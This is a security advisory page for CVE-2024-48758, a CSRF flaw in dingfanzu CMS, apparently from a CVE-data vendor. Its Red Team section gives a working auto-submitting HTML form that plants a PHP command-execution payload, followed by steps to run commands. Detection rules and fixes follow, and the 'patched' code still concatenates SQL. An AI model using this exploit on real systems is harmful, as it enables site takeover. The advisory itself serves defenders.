CVE-2024-48758
Executive Summary
CVE-2024-48758 identifies a Cross-Site Request Forgery (CSRF) vulnerability in dingfanzu CMS V1.0. The flaw resides in the addPro parameter of doAdminAction.php, allowing a remote attacker to forge requests on behalf of an authenticated administrator. Successful exploitation can lead to arbitrary code execution, as the attacker can manipulate product data or inject malicious payloads. No official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP CMS application. No supply chain implications are present.
CVSS Breakdown & Threat Level
CVSS Vector: UNKNOWN (no official vector provided).
Based on the description, a plausible vector is:CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network
- Attack Complexity (AC): Low
- Privileges Required (PR): None (attacker does not need authentication)
- User Interaction (UI): Required (victim admin must click a link)
- Scope (S): Unchanged
- Confidentiality (C): High
- Integrity (I): High
- Availability (A): High
Threat Level: High. CSRF combined with arbitrary code execution can lead to full site compromise.
Deep Dive & Mechanics
The vulnerability exists in doAdminAction.php, which handles administrative actions. The addPro parameter is used to add new products. The script does not implement CSRF tokens or origin validation, allowing an attacker to craft a malicious HTTP request that, when triggered by an authenticated admin, executes unintended actions.
Attack Flow:
- Attacker crafts a malicious HTML page or email containing a forged POST request to
doAdminAction.php?addPro=1with payload data. - The victim (admin) visits the attacker-controlled page while authenticated to the CMS.
- The browser automatically sends the forged request, including the admin's session cookies.
- The server processes the request, adding a product with attacker-controlled content (e.g., PHP code in a field).
- The attacker then accesses the created product page, triggering code execution.
Root Cause: Lack of CSRF protection (no token, no SameSite cookie attribute, no Referer check).
Vulnerable vs. Patched Code
Vulnerable Code (dingfanzu CMS V1.0):
// doAdminAction.php (simplified)
if (isset($_GET['addPro'])) {
$name = $_POST['name'];
$price = $_POST['price'];
// Insert into database without CSRF check
$sql = "INSERT INTO products (name, price) VALUES ('$name', '$price')";
mysqli_query($conn, $sql);
}
Patched Code (hypothetical fix):
// doAdminAction.php (patched)
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF token validation failed.");
}
if (isset($_GET['addPro'])) {
$name = mysqli_real_escape_string($conn, $_POST['name']);
$price = mysqli_real_escape_string($conn, $_POST['price']);
$sql = "INSERT INTO products (name, price) VALUES ('$name', '$price')";
mysqli_query($conn, $sql);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of dingfanzu CMS V1.0.
- An authenticated admin session (victim).
Exploit Steps:
- Create a malicious HTML file (
csrf_exploit.html):
<html>
<body>
<form action="http://target.com/doAdminAction.php?addPro=1" method="POST">
<input type="hidden" name="name" value="malicious_product">
<input type="hidden" name="price" value="0">
<input type="hidden" name="description" value="<?php system($_GET['cmd']); ?>">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the file on an attacker-controlled server.
- Send the link to the victim admin (e.g., via email or social engineering).
- Once the admin visits the page, the form auto-submits, adding a product with a PHP payload.
- Access the product page (e.g.,
http://target.com/product.php?id=1) with?cmd=idto execute commands.
Note: The description field is used for code injection; adjust based on actual CMS fields.
Blue Team
Detection:
- Monitor for unusual POST requests to
doAdminAction.phpwith unexpected parameters. - Check for products with suspicious content (e.g., PHP code in description).
- Enable CSRF protection by adding tokens to all admin forms.
Hunting:
- Search logs for requests to
doAdminAction.phpwithout a valid Referer header. - Look for multiple product additions in a short time from a single IP.
Indicators of Compromise (IOCs)
- Network: POST requests to
/doAdminAction.php?addPro=1with unusual payloads. - File: New product entries in the database containing PHP code (e.g.,
<?php system(...); ?>). - Log: Access logs showing Referer header from attacker-controlled domains.
- Behavior: Unexpected product additions by admin accounts.
Detection Engineering
YARA Rule
rule CVE_2024_48758_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against dingfanzu CMS"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2024-48758"
strings:
$csrf_form = "doAdminAction.php?addPro=1" nocase
$php_payload = /<\?php\s*system\(/ nocase
condition:
$csrf_form and $php_payload
}
Sigma Rule
title: CSRF Exploit Against dingfanzu CMS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to doAdminAction.php with addPro parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query: "*doAdminAction.php*addPro=1*"
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-48758 CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"doAdminAction.php"; content:"addPro=1"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
addProfunctionality if not needed. - Implement CSRF tokens in all admin forms (use
$_SESSIONand random tokens). - Validate Referer header to ensure requests originate from the same site.
- Use SameSite cookies (set to
LaxorStrict).
Long-term Fix:
- Upgrade to a patched version if available (none currently).
- Consider migrating to a supported CMS.
Workaround:
- Restrict access to
doAdminAction.phpvia.htaccessor firewall rules to trusted IPs only.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.